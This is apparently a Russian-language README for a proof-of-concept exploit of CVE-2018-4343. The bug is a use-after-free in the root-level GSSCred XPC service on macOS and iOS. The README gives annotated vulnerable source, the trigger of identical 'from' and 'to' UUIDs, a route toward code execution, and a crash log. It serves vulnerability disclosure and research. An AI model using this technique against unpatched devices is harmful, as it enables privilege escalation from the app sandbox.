
CVE-2018-4343: Доказательство концепции для использования после освобождения в демоне GSSCred на macOS и iOS.
Служба XPC com.apple.GSSCred, работающая от root на macOS и iOS, некорректно реализует команду "move", что приводит к условию use-after-free в функции do_Move. Служба GSSCred доступна из стандартной изолированной среды приложений на iOS.
Эта программа использует уязвимость для аварийного завершения службы GSSCred. Достижение выполнения кода в GSSCred зависит от перезаписи освобождённой памяти управляемыми данными в течение временного окна гонки. Протестировано на macOS High Sierra 10.13.2 Beta 17C79a.
Ниже приведены соответствующие части do_Move из Heimdal-520 с опущенными несущественными проверками ошибок:
//
// 1. from и to — полностью контролируемые объекты UUID, десериализованные из XPC-запроса.
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom и credto — объекты HeimCredRef, найденные по UUID from и to.
// CFDictionaryGetValue() возвращает объекты без увеличения счётчика ссылок. Обратите внимание: если
// UUID from и to совпадают, то credfrom и credto будут ссылаться на один и тот же объект.
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom удаляется из словаря. Поскольку оставалась только одна ссылка,
// это приводит к освобождению credfrom.
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. На этом этапе мы проверяем credto. Если credfrom и credto ссылаются на один и тот же объект,
// то credto — ненулевой указатель на освобождённый объект HeimCredRef.
//
if (credto == NULL) {
...
} else {
//
// 5. Теперь мы разыменовываем credto, передавая значение, прочитанное из освобождённой памяти,
// как объект CFDictionaryRef в CFDictionaryGetValue().
//
CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
...
}
Этот код делает следующее:
from и to — из XPC-запроса. Запрос полностью контролируется, поэтому мы можем задать значения этих UUID произвольно. Не проверяется, совпадают ли эти два UUID.credfrom и credto — соответствующие UUID from и to. Словарь peer->session->items хранит все учётные данные, управляемые GSSCred от имени текущего подключённого клиентского приложения. Обратите внимание: функция CFDictionaryGetValue возвращает ссылку на объекты HeimCredRef, но не увеличивает их счётчик ссылок. В частности, если from и to — один и тот же UUID, то credfrom и credto будут указывать на один и тот же HeimCredRef со счётчиком ссылок 1 (хранящимся в содержащем CFDictionary).credfrom удаляется из словаря peer->session->items. Обычно это безопасно, потому что, когда from и to — разные UUID, объект credfrom освобождается и больше не используется. Однако, когда from и to совпадают, возникают проблемы, поскольку credto используется позже.credto NULL. Поскольку credfrom и credto равны, а credfrom не был NULL, мы попадаем в ветку else.credto, чтобы прочитать поле attributes, которое передаётся как первый параметр в CFDictionaryGetValue. Если освобождённая память, на которую указывает credto, к этому моменту была перераспределена, а расположение поля attributes изменилось так, что оно указывает на специально сконструированный поддельный объект CFDictionary, то на этом шаге должно быть возможно достичь выполнения кода.Эта программа не пытается выиграть это окно гонки. Вместо этого она позволяет деструктору HeimCredRef обнулить поле attributes, что вызывает разыменование нулевого указателя в CFDictionaryGetValue.
Для сборки выполните make. Смотрите начало Makefile для различных опций сборки.
Запуск эксплойта покажет последовательность XPC-сообщений, которыми обменивается GSSCred:
$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
"attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
"kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
"kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
}
"kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
"kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
"kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
}
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
События "Connection interrupted" XPC указывают на то, что XPC-соединение было прервано, вероятно, из-за аварийного завершения GSSCred.
Код GSSCred-move-uaf выпущен в общественное достояние. В качестве любезности я прошу указывать моё авторство, если вы ссылаетесь на этот код или используете его.